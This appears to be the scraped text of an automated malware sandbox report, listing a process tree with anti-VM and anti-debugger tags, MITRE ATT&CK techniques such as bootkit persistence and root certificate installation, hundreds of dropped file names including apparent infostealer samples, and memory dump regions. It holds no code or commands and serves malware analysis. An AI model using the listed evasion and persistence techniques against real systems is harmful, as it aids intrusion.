C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exeC:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exeC:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exeC:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exeC:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exeC:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Identifies Wine through registry keys
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exeC:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Identifies Wine through registry keys
-
C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exeC:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
4Registry Run Keys / Startup Folder
4Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Change Default File Association
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
4Registry Run Keys / Startup Folder
4Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Change Default File Association
1Scheduled Task/Job
1Defense Evasion
Modify Registry
5Pre-OS Boot
1Bootkit
1Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
config.ini
i18n.ini
{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
6d9528ebd6.exe
the-real-index
messages.json
messages.json
messages.json
TransportSecurity
Preferences
Preferences
Secure Preferences
Local State
persisted_first_party_sets.json
StartupProfileData-NonInteractive
setup.ini
file300un.exe
gold.exe
gold.exe
judit.exe
judit.exe
redline123123.exe
upd.exe
lumma123.exe
c74a8134b1.exe
bac3d19bb2.exe
NewR.exe
next.exe
kfiwarhg.exe
setup222.exe
loader-1002.exe
8fc809.exe
360base.dll
360Base64.dll
360Central.exe
360Common.dll
360Conf.dll
360DeskAna.exe
360DeskAna64.exe
360NetBase.dll
360NetBase64.dll
360NetUL.dll
360P2SP.dll
360ShellPro.exe
360SkinView.exe
360TSCommon.dll
360TSCommon64.dll
360TsLiveUpd.exe
360Util.dll
360Util64.dll
360Verify.dll
360bps.dat
360net.dll
360rcbase.dat
360ss2map.ini
3GIdentify.dll
LibOui.dat
AntiAdwa.dll
AntiCe.dll
BrowseringProtection.exe
CombineExt.dll
CrashReport.dll
CrashReport64.dll
DailyNews.exe
DumpUper.ini
Dumpuper.exe
EfiMon.sys
EfiProc.dll
FastAnimation.dll
FeedBack.exe
FeedBack.ini
HomeRouterMgr.exe
I18N.dll
I18N64.dll
LargeFileFinder.exe
LeakFixHelper.dll
LeakFixHelper64.dll
LeakFixHelper64.exe
LiveUpd360.dll
LiveUpdate360.exe
MedalWall.exe
MenuEx.dll
MenuEx64.dll
MiniUI.dll
PDown.dll
PatchUp.exe
PromoUtil.exe
QHAccount.exe
QHFileSmasher.exe
QHSafeMain.exe
QHSafeScanner.exe
QHVer.dll
Repair.exe
Safelive.dll
Sites64.dll
ToolBox.dll
TraceClean.exe
Uninstall.exe
360AdvToolExecutor.exe
360AntiTrack.exe
360LibDrvmgr.dat
DownloadMgr.dll
DriverUpdater.exe
DrvInst64.exe
DrvmgrCore.dll
ScriptExecute.exe
360WifiProtect.dll
AntiTrack.dll
AntiTrack64.dll
CondrvFix.exe
360desktoplite_config.xml
DesktopPlus.exe
DesktopPlus64.exe
360ScreenCapture.exe
360searchlite.exe
search_file_type.json
bell.wav
DuplicateFile.exe
DuplicateFileCfg.xml
ModuleUpdate.exe
PopTip.exe
PowerSaver.exe
SimpleIME.exe
SiteUIProxy.dll
SysCleaner.dll
SysCleanerUI.exe
cef.pak
cef_100_percent.pak
cef_200_percent.pak
icudtl.dat
libcef.dll
en-US.pak
natives_blob.bin
snapshot_blob.bin
cefutil.exe
ver.ini
lang.lang
act.dat
backupsrv.dat
cacert.dat
cacert.pem
MiniUI.xml
defaultskin.ui
SysSweeper.ui.dat
SysSweeper.ui.dat
SysSweeper.ui.dat
SysSweeper.ui.dat
SysSweeper.ui.dat
360AV_theme.ui
360AntiTrack_theme.ui
360Central_theme.ui
360EvtMgr_theme.ui
360InternationSafe_theme.ui
360InternationTray_theme.ui
360UDisk_theme.ui
360hipsPopWnd_theme.ui
360leakfix_theme.ui
360liveupdate_theme.ui
360sandbox_theme.ui
360searchlite_theme.ui
360searchlite_theme.xml
360skinview_theme.ui
360wdui_theme.ui
pwlog_theme.ui
account_theme.ui
BrowserPro_theme.ui
DailyNews_theme.ui
DataShield_theme.ui
DesktopPlus_theme.ui
DeviceMgr_theme.ui
driverupdater_theme.ui
DuplicateFile_theme.ui
HomeRouterMgr_theme.ui
InstantSetup_theme.ui
MedalWall_theme.ui
pw_theme.ui
PromoUtil_theme.ui
SysCleaner_theme.ui
TraceClean_theme.ui
account_theme.xml
admgr_theme.xml
datashield_theme.xml
default_theme.ui
desktopplus_theme.xml
devicemgr_theme.xml
driverupdater_theme.xml
FeedBack_theme.ui
popwndtracker_theme.xml
promoutil_theme.xml
theme.xml
theme_DuplicateFile.xml
Tools_config.dat
Tools_theme.ui
smurf.ui
smurf.xml
AdvTools.xml
360AntiTrack.xml
360Central.xml
360NetRepair.xml
360Netmon.xml
360SafeWallet.xml
360Win10App.xml
360Zip.xml
AdBlocker.xml
BrowserProtection.xml
BusinessVersion.xml
CleanUp.xml
DailyNews.xml
DataShield.xml
DesktopAssistance.xml
DiskAnalyzer.xml
DriverUpdater.xml
DuplicateCleaner.xml
FileProtector.xml
FileSmasher.xml
FirstPrioritySupport.xml
FirstPriorityUpdate.xml
GameBooster.xml
InstantSetup.xml
MobileSecurity.xml
NoAds.xml
PatchUp.xml
PremiumTheme.xml
QuickSearch.xml
RansomwareDecryptor.xml
Sandbox.xml
ScheduledClean.xml
SpecialOffer.xml
SuperKiller.xml
SysCleaner.xml
SystemCompact.xml
SystemRegClean.xml
TraceClean.xml
send.xml
360FsFlt.sys
360FsFlt_old.sys
360Quarant.dll
360QuarantPlugin.dll
360netcfg.exe
360KP.dll
360KPBase.dll
360ave_ex.def
360ave_ex2.def
360ave_fp.def
AVEI.dll
AVEngine.dll
UpFltr.def
vinfo.def
BAPI.dll
BAPIDRV.sys
BAPIDRV64.sys
BAPIDRV64_old.sys
BAPIDRV_old.sys
BlackMirror.dat
CQhCltHttpW.dll
CheckSM.dll
CheckSM.exe
Cloudsec3.dll
DSFScan.dll
DsArk.dll
DsArk.sys
DsArk_win10.sys
DsSysRepair.dll
ImAVEng.dll
MiniRame.dat
PopSoftEng.dll
360AQVM.dll
360QVM.dll
Qshieldz.dat
bifdb.dat
cloudcom2.dll
csp.dat
deepscan.dll
dsark64.sys
dsark64_old.sys
dsark64_win10.cat
dsark_win10.cat
dsbs.dat
dserror.dat
dsmain.exe
dsns.dat
dswc.dat
dsws.dat
dswtb.dat
heavygate.dll
jcloudscan.dll
lcrd.dat
lsv.dat
MacroDef.enc
PHPEX.dll
patt.enc
qex.dll
qex.vdb.enc
xyar.dat
qutmdrv.sys
qutmdrv_win10.sys
qutmload.dll
ramengine.dll
rmt.exe
sbx.dll
sc.con
sndw.dat
stx.dll
sysfilerepS.dll
uiitem.dat
dynlbase.dll
dynlenv.dll
h_1.dat
h_2.dat
h_3.dat
lm_1001.dat
360AvFlt.dll
360AvFlt.sys
360AvFlt_old.sys
360avflt64.sys
360avflt64_old.sys
360rp.dll
AVCheck.dll
AVLib.dat
DataDriv.dat
FsrMgr.dll
WhiteCache.dll
fr1.dat
fr4.dat
fr5.dat
fr6.dat
fr7.dat
fr8.dat
fr9.dat
ptype.dat
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
filemgr.dll.locale
yhregd.dll.locale
libaw.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
safemon.dll.locale
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wdk.ini
nptswp.dll.locale
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
cloudsec3.dll.locale
libaw.dat
libvi.dat
360SafeCamera.tpi.locale
pic_01.jpg
UDiskScanEngine.dll.locale
360webshield.exe.locale
udisk.locale
wd.ini
wdk.ini
Antiadwa.dll.locale
Dumpuper.exe.locale
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
dsurls.dat
ssr.dat
360ipc.dat
360netd.dat
360netr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
filemgr.dll.locale
filemon.dat
regmon.dat
yhregd.dll.locale
libaw.dat
libdefa.dat
libsdi.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon.dll.locale
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
drvmon.dat
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wdk.ini
nptswp.dll.locale
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
filemgr.dll.locale
yhregd.dll.locale
libaw.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
360webshield.exe.locale
safemon.dll.locale
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wd.ini
wdk.ini
nptswp.dll.locale
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
filemgr.dll.locale
yhregd.dll.locale
libaw.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
safemon.dll.locale
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wd.ini
wdk.ini
nptswp.dll.locale
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
cloudsec3.dll.locale
dsconz.dat
ssr.dat
360netd.dat
libaw.dat
libvi.dat
360SafeCamera.tpi.locale
pic_01.jpg
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
udisk.locale
wdk.ini
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
filemgr.dll.locale
yhregd.dll.locale
libaw.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
safemon.dll.locale
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wd.ini
wdk.ini
nptswp.dll.locale
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
cloudsec3.dll.locale
dsconz.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
filemgr.dll.locale
yhregd.dll.locale
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
360webshield.exe.locale
safemon.dll.locale
spsafe.dll.locale
spsafe64.dll.locale
nptswp.dll.locale
Antiadwa.dll.locale
Dumpuper.exe.locale
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
appmon.dat
filemgr.dll.locale
yhregd.dll.locale
libaw.dat
libsdi.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon.dll.locale
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wd.ini
wdk.ini
nptswp.dll.locale
AntiAdwa.dll.locale
Dumpuper.exe.locale
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
appmon.dat
filemgr.dll.locale
filemon.dat
regmon.dat
yhregd.dll.locale
libaw.dat
libsdi.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon.dll.locale
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
drvmon.dat
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wd.ini
wdk.ini
nptswp.dll.locale
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
filemgr.dll.locale
yhregd.dll.locale
libaw.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
safemon.dll.locale
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wd.ini
wdk.ini
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
filemgr.dll.locale
yhregd.dll.locale
libaw.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
safemon.dll.locale
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wd.ini
wdk.ini
nptswp.dll.locale
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
dsurls.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
appmon.dat
filemgr.dll.locale
filemon.dat
regmon.dat
yhregd.dll.locale
libaw.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon.dll.locale
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
drvmon.dat
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wd.ini
wdi18n.sign
wdk.ini
nptswp.dll.locale
AntiAdwa.dll.locale
Dumpuper.exe.locale
LibSDI.dat
UrlSettings.dll.locale
DsRes.dll
DsRes64.dll
art.dat
cloudsec3.dll.locale
dsconz.dat
dsr.dat
ssr.dat
NetDefender.dll.locale
Sxin.dll.locale
Sxin64.dll.locale
appd.dll.locale
appmon.dat
filemgr.dll.locale
filemon.dat
regmon.dat
yhregd.dll.locale
libaw.dat
libvi.dat
360SPTool.exe.locale
360SafeCamera.tpi.locale
360procmon.dll.locale
pic_01.jpg
Safemon.dll.locale
Safemon64.dll.locale
SelfProtectAPI2.dll.locale
UDiskScanEngine.dll.locale
bp.dat
360webshield.exe.locale
drvmon.dat
spsafe.dll.locale
spsafe64.dll.locale
udisk.locale
wd.ini
wdk.ini
nptswp.dll.locale
i18ngi.dll
360AntiHacker.dll
360AntiHacker.sys
360AntiHacker64.sys
360AntiHacker64_win10.sys
360AntiHacker_win10.sys
360Box.dll
360Box.sys
360Box64.sys
360Box64_old.sys
360Box64_win10.sys
360Box_old.sys
360Camera.sys
360Camera64.sys
360Camera64_win10.sys
360Camera_win10.sys
360boxld.exe
360boxld64.exe
360boxmain.exe
360hvm.dat
360hvm.dll
360hvm64.sys
360hvm64_old.sys
DrvUtility.dll
FileMgr.dll
NetDefender.dll
SXIn.dll
SXIn64.dll
SxWrapper.dll
TS.dat
X64For32Lib.dll
appd.dll
appdef.dat
appdext.dll
cleancfg.dat
clsid.dat
ipcService.dll
kmconfig.dat
qutmipc.dll
qutmipc.sys
qutmipc_win10.sys
qutmvd.dll
sbmon.dll
signbwl.dat
yhregd.dll
leakrepair.dll
libleak-64.dat
libleak.dat
libleakres.dat
libredlist.dat
360EvtMgr.exe
360PatchMgr.exe
360PatchMgr64.exe
KB931125-rootsupd.exe
Strings.dat
360GameIdentify.dll
360gmoptm.dat
360netctrl.dll
Netgm.dll
NetworkMon.exe
NetworkMonUI.dll
gameidentify.dat
360netmon_50.sys
360netmon_60.sys
360netmon_wfp.sys
360netmon_x64_wfp.sys
360netmon_x64.sys
netmstart.dll
sysoptm.dll
rpi.dat
360.dat
360AV.tpi
360Connect.tpi
360GuardBase.dll
360PrivacyGuard.exe
360SPTool.exe
360SafeCamera.tpi
360SelfProtection.sys
360SelfProtection_win10.sys
360Tray.exe
360UDisk.tpi
360bsmon.tpi
360calaInt.dat
360calaInt.dll
360compro.dll
360disproc.sys
360disproc64.sys
360disproc64_win10.sys
360disproc_win10.sys
360drwht.dat
360hipsPopWnd.dll
360procmon.dll
360realpro.exe
360safemonpro.tpi
360scovec.dll
360scovec64.dll
360uac.dat
360zipc.dll
7z.dll
AdPopBlocker.tpi
AntiTrack.dat
BootLeakFixer.tpi
CleanPrivacy.xml
DiagScanTips.tpi
DsTpi.tpi
EdgeVerLib.dat
FilePrivacy.tpi
PopWndLog.exe
PopWndTracker.exe
QHActiveDefense.exe
QHSafeTray.exe
QHToasts.exe
QHWatchdog.exe
AdPopWnd.dll
PopWndInit.dat
PopWndTracker.dat
SafeWrapper.dll
SafeWrapper32.dll
SelfProtectAPI2.dll
SomProxy.dll
UDiskScanEngine.dll
VWallet.dll
WDPayPro.exe
WDRecord.dll
WDSafeDown.exe
WscReg.exe
acls.ini
chrmsafe.dat
360webshield.exe
manifest.json
manifest_firefox.json
chromesafe.dll
chromesafe64.dll
cuconfig.dat
disproc.dll
dlproc.dll
drvmk.dat
drvms.dat
execrule.dat
gamemode.tpi
hookport.sys
hookport_win10.cat
hookport_win10.sys
iNetSafe.dll
iNetSafe64.dll
libzdtp.dll
libzdtp64.dll
netmon.tpi
psconfig.dat
qutmvd.tpi
router.ini
safehmpg.dll
safehmpg64.dll
safemon.dll
safemon64.dll
safemonhlp.dll
spsafe.dll
spsafe64.dll
svcMonitor.dll
swverify32.dll
swverify64.dll
udiskscan.dat
urllib.dat
urlproc.dll
wdblockij.dat
wdui2.dll
wdui3.dll
wduicfg.dat
webprotection_firefox.xpi
safescan.dll
scanbase.dll
scanproxy.dll
scanstub.dll
sites.dll
360Downloads.ini
360InstantSetup.exe
360Opt.dll
360SoftMgrS.dll
360elam.sys
360elam64.sys
EaInstHelper.exe
EaInstHelper64.exe
GroupMaps.ini
Optadn.dat
OptadnNet.dat
SMLCore.dll
SMLHelper64.exe
SMLLauncher.dll
SMLLauncher64.dll
SMLProxy64.exe
SML_SpeedNet.uiz
SML_TaskBar.uiz
SoftMgrLite.exe
SomAdvUtils.dll
SomAdvUtilsWrap.dll
SpeedUp.dll
commonbase.dll
SoftDetect.dat
lockkrnl.dll
optconfig.ini
safespeedboot.dat
somkernl.dll
stsuglist.dat
360FastFind.dll
360OKCleanNew.dat
CleanHelper64.exe
RemoteTrashInterface.dll
SysSweeper.dat
SysSweeper.dll
TEngine.dll
Tracehelper.exe
TrashClean.dll
WhiteList.dat
tracesweeper.dat
Install.exe
Install.exe
explortu.exe
ADVPACK.DLL
rootsupd.inf
_bz2.pyd
libffi-7.dll
sqlite3.dll
TmpE8D9.tmp
__PSScriptPolicyTest_mowdlmsh.3kv.ps1
chrome.zip
dlls.manifest
VCRUNTIME140.dll
stub.exe
stub.exe
tmpFAAE.tmp
tmpFAE0.tmp
tmpFB60.tmp
360P2SP.dll
prefs.js
R4B2YFjDZ5openrPY9i1ZNlK.exe
f2zl33O5cX9YCMdSx00hKlz7.exe
fwQq2FmZh5TizxJHX4wuhIw1.exe
fwQq2FmZh5TizxJHX4wuhIw1.exe
phnvIrCJb8nM4CSbzaXFeXiG.exe
phnvIrCJb8nM4CSbzaXFeXiG.exe
winsvc.exe
_ctypes.pyd
_lzma.pyd
_sqlite3.pyd
_rust.pyd
python3.dll
python310.dll
360P2SP.dll
memory/236-11-0x0000000000270000-0x0000000000720000-memory.dmp
memory/236-1-0x00007FFADB280000-0x00007FFADB45B000-memory.dmp
memory/236-12-0x00007FFADB280000-0x00007FFADB45B000-memory.dmp
memory/236-0-0x0000000000270000-0x0000000000720000-memory.dmp
memory/700-466-0x00007FF6043B0000-0x00007FF6055E5000-memory.dmp
memory/1008-63-0x00000000010B0000-0x000000000157B000-memory.dmp
memory/1008-73-0x00000000010B0000-0x000000000157B000-memory.dmp
memory/2700-525-0x00000000010D0000-0x0000000001580000-memory.dmp
memory/2700-111-0x00000000010D0000-0x0000000001580000-memory.dmp
memory/2700-731-0x00000000010D0000-0x0000000001580000-memory.dmp
memory/2700-14-0x00007FFADB280000-0x00007FFADB45B000-memory.dmp
memory/2700-13-0x00000000010D0000-0x0000000001580000-memory.dmp
memory/2700-214-0x00007FFADB280000-0x00007FFADB45B000-memory.dmp
memory/2700-295-0x00000000010D0000-0x0000000001580000-memory.dmp
memory/3004-40-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-34-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-50-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-47-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-41-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-49-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-17-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-43-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-42-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-45-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-20-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-46-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-26-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-30-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-23-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-28-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-44-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-31-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-32-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-22-0x00007FFADB280000-0x00007FFADB45B000-memory.dmp
memory/3004-38-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-48-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-29-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-24-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-39-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-25-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-37-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-35-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-27-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-36-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-33-0x0000000000400000-0x00000000009E4000-memory.dmp
memory/3004-21-0x00000000010D0000-0x0000000001580000-memory.dmp
memory/3192-11337-0x00000000010D0000-0x0000000001580000-memory.dmp
memory/3192-11335-0x00000000010D0000-0x0000000001580000-memory.dmp
memory/4124-74-0x00000000011E0000-0x00000000016AB000-memory.dmp
memory/4124-530-0x00000000011E0000-0x00000000016AB000-memory.dmp
memory/4124-278-0x00000000011E0000-0x00000000016AB000-memory.dmp
memory/4124-526-0x00000000011E0000-0x00000000016AB000-memory.dmp
memory/4124-732-0x00000000011E0000-0x00000000016AB000-memory.dmp
memory/4260-87-0x0000000001230000-0x0000000001824000-memory.dmp
memory/4260-279-0x0000000001230000-0x0000000001824000-memory.dmp
memory/4260-527-0x0000000001230000-0x0000000001824000-memory.dmp
memory/4260-733-0x0000000001230000-0x0000000001824000-memory.dmp
memory/5072-601-0x0000000006B10000-0x0000000006CD2000-memory.dmp
memory/5072-602-0x0000000007210000-0x000000000773C000-memory.dmp
memory/5072-421-0x0000000005020000-0x00000000050B2000-memory.dmp
memory/5072-420-0x0000000005520000-0x0000000005A1E000-memory.dmp
memory/5072-422-0x0000000002930000-0x000000000293A000-memory.dmp
memory/5072-431-0x0000000006030000-0x0000000006636000-memory.dmp
memory/5072-433-0x00000000051F0000-0x0000000005202000-memory.dmp
memory/5072-436-0x0000000005250000-0x000000000528E000-memory.dmp
memory/5072-656-0x00000000070D0000-0x0000000007120000-memory.dmp
memory/5072-418-0x00000000006D0000-0x0000000000720000-memory.dmp
memory/5072-432-0x0000000005300000-0x000000000540A000-memory.dmp
memory/5224-152-0x00000266BFC80000-0x00000266BFCA2000-memory.dmp
memory/5224-155-0x00000266BFF80000-0x00000266BFFF6000-memory.dmp
memory/5248-8490-0x0000000006EF0000-0x0000000006F3B000-memory.dmp
memory/5248-8489-0x0000000006260000-0x00000000065B0000-memory.dmp
memory/5284-608-0x00007FF707170000-0x00007FF707C45000-memory.dmp
memory/5352-573-0x0000000000400000-0x0000000000457000-memory.dmp
memory/5352-571-0x0000000000400000-0x0000000000457000-memory.dmp
memory/5404-446-0x0000000010000000-0x00000000105D3000-memory.dmp
memory/5484-496-0x0000000000C10000-0x0000000000C11000-memory.dmp
memory/5500-394-0x0000000007AB0000-0x0000000007ACC000-memory.dmp
memory/5500-375-0x0000000007190000-0x00000000071B2000-memory.dmp
memory/5500-443-0x00000000091F0000-0x0000000009284000-memory.dmp
memory/5500-445-0x0000000009180000-0x00000000091A2000-memory.dmp
memory/5500-444-0x0000000009110000-0x000000000912A000-memory.dmp
memory/5500-419-0x0000000008280000-0x00000000082F6000-memory.dmp
memory/5500-373-0x00000000047E0000-0x0000000004816000-memory.dmp
memory/5500-374-0x00000000073F0000-0x0000000007A18000-memory.dmp
memory/5500-377-0x0000000007A20000-0x0000000007A86000-memory.dmp
memory/5500-376-0x0000000007330000-0x0000000007396000-memory.dmp
memory/5500-378-0x0000000007C70000-0x0000000007FC0000-memory.dmp
memory/5500-396-0x0000000008350000-0x000000000839B000-memory.dmp
memory/5544-203-0x0000000000E30000-0x0000000000E31000-memory.dmp
memory/5544-205-0x0000000000E30000-0x0000000000E31000-memory.dmp
memory/5624-470-0x00000000079B0000-0x0000000007D00000-memory.dmp
memory/5660-207-0x0000000000400000-0x000000000045B000-memory.dmp
memory/5660-204-0x0000000000400000-0x000000000045B000-memory.dmp
memory/5664-544-0x0000000000DF0000-0x0000000000E5C000-memory.dmp
memory/5664-613-0x000000001FEE0000-0x0000000020406000-memory.dmp
memory/5664-583-0x000000001BF40000-0x000000001BF52000-memory.dmp
memory/5664-612-0x000000001F0F0000-0x000000001F2B2000-memory.dmp
memory/5664-605-0x000000001BF60000-0x000000001BF7E000-memory.dmp
memory/5664-582-0x000000001E7A0000-0x000000001E8AA000-memory.dmp
memory/5664-584-0x000000001C9C0000-0x000000001C9FE000-memory.dmp
memory/5740-210-0x0000000000400000-0x0000000000408000-memory.dmp
memory/5948-6900-0x00000000001A0000-0x00000000011DE000-memory.dmp
